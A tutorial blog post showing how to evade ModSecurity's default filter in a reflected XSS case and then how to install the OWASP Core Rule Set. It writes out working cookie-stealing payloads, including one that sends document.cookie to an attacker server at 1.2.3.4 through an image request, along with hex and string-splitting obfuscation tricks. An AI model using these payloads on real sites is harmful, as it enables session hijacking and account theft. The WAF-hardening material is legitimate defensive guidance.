ModSecurity Filter Evasion and Better Configuration


ModSecurity is a rule-based Web Application Firewall (WAF) which is most commonly deployed to provide protections against generic classes of vulnerabilities using the OWASP ModSecurity Core Rule Set (CRS). However, if instead of OWASP CRS the default (weaker) ruleset is used, then it can be circumvented in certain cases.

ModSecurity Filter Evasion

If your payload happens to get pasted into <script></script> tags, then a good option is to use Javascript global variables to evade filters. These are some examples of global variables in Javascript: self, document, this, top, window.

They can be used anywhere and allow you to access any non-scoped javascript function through them. Instead of accessing your cookies through document.cookie, you can do it like this:

window["document"]["cookie"]

Evasion

Let’s assume that we want to access our cookie and on the vulnerable website we have code like this:

<?php echo "<script>alert('".$_GET['user_input']."')</script>";?>

If there was no Web Application Firewall (WAF) in the way, then we could simply inject

' + document.cookie + '

Where the resulting script would be

<script>alert('' + document.cookie + '')</script>

However, ModSecurity’s default configuration disallows the string document.cookie. Therefore, we need to reference the cookie object without using that particular string.

An easy way to accomplish this is to use the aforementioned global objects. For example, this injection would bypass ModSecurity’s default filter:

' + self['document']['cookie'] + '

Exploitation

It wouldn’t be a complete example without showing how to actually snatch cookies from other users for yourself.

A common way to get the cookies is to run an HTTP server (like Apache or Nginx) on your machine. You will then access the victim’s cookie as shown before, but instead of alerting it out, we will request an image from our server, where the URL is the value of the cookie. Here’s how it works step by step:

First, we run an HTTP server. For this we can install Nginx or Apache, or we can simply use Python’s module for it, like I’ve done here:

python -m SimpleHTTPServer 80

This starts an HTTP server on port 80 on our machine.

Second, we will access the victim’s cookie using the evasion method by setting user_input to be the following (remember that this would need to be urlencoded):

'); var cookie=self['document']['cookie'] //

Breaking the injection down piece by piece:

  • '); closes the alert function
  • var cookie=self['document']['cookie'] stores the cookie in the variable cookie
  • // comments out everything after our code, making sure there are no errors from invalid syntax

Third, we will create an image with the cookie value embedded inside the URL, and make a request to our server.

Let’s say our ip address is 1.2.3.4. Then the final payload would look like this:

'); var cookie=self['document']['cookie']; var img=new Image(); img.src="http://1.2.3.4/?cookie=" + cookie; document.body.append(img) //

  • var img=new Image(); creates a new image
  • img.src="http://1.2.3.4/?cookie=" + cookie; sets the source of the image to our server, and sends the cookie along with the request
  • document.body.append(img) adds the image to the document body.

Advanced

It’s possible to get more advanced with this to fool better filters than the default filter on ModSecurity. Here are some examples:

1) We can split the strings self["ale"+"rt"](self["doc"+"ument"]["coo"+"kie"])

2) We can hex-encode the strings

self["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x63\x6f\x6f\x6b\x69\x65"] <– the same as self[‘document’][‘cookie’]

In addition to these simple examples, we can get even more complex. We can for example base64 encode our payload, use self['eval'], use jQuery or use Object.keys to avoid having to reference our object by name whatsoever. For further reading on the subject, I recommend this great article.

Configuring ModSecurity

Here we will assume ModSecurity has already been installed with Apache and you simply wish to replace the default ruleset with a more comprehensive one.

First, gain sudo privileges

sudo su

Second, backup the old ruleset folder in case anything goes awry

mv /usr/share/modsecurity-crs /usr/share/modsecurity-crs.bk

Now clone the updated ruleset repository using Git

git clone https://github.com/SpiderLabs/owasp-modsecurity-crs.git /usr/share/modsecurity-crs

Let’s use the default configuration cp /usr/share/modsecurity-crs/crs-setup.conf.example /usr/share/modsecurity-crs/crs-setup.conf

Update the /etc/apache2/mods-enabled/security2.conf file with the following contents:

<IfModule security2_module>
        SecDataDir /var/cache/modsecurity
        IncludeOptional /etc/modsecurity/*.conf
        IncludeOptional /usr/share/modsecurity-crs/owasp-crs.load
        IncludeOptional /usr/share/modsecurity-crs/*.conf
        IncludeOptional /usr/share/modsecurity-crs/rules/*.conf
</IfModule>

Finally, restart the service so the changes take effect.

service apache2 restart

Conclusion

When using Web Application Firewalls, we should always make sure that they’re updated with the latest ruleset. Otherwise, given the right circumstances, they may be relatively easy to evade using global variables.

Heino Sass Hallik